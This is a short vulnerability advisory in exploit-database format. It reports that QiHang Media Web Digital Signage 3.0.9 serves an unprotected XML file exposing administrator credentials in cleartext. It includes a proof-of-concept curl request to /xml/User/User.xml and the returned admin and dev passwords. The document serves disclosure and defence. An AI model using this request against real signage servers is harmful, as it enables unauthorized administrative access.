# Exploit Title: QiHang Media Web Digital Signage 3.0.9 - Cleartext Credential Disclosure# Date: 2020-08-12# Exploit Author: LiquidWorm# Vendor Homepage: http://www.howfor.com# Tested on: Microsoft Windows Server 2012 R2 Datacenter# CVE : N/A
QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Cleartext Credentials Disclosure
Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd.
Guangzhou Hefeng Automation Technology Co., Ltd.
Product web page: http://www.howfor.com
Affected version:3.0.9.0
Summary: Digital Signage Software.
Desc: The application suffers from clear-text credentials disclosure vulnerability
that allows an unauthenticated attacker to issue a request to an unprotected directory
that hosts an XML file'/xml/User/User.xml'and obtain administrative login information
that allows for a successful authentication bypass attack.
Tested on: Microsoft Windows Server 2012 R2 Datacenter
Microsoft Windows Server 2003 Enterprise Edition
ASP.NET 4.0.30319
HowFor Web Server/5.6.0.0
Microsoft ASP.NET Web QiHang IIS Server
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2020-5579
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5579.php
27.07.2020--
$ curl http://192.168.1.1/xml/User/User.xml
<?xml version="1.0" encoding="utf-8"?><Users><User id="1" account="admin" password="admin"/><User id="2" account="dev" password="dev"/></Users>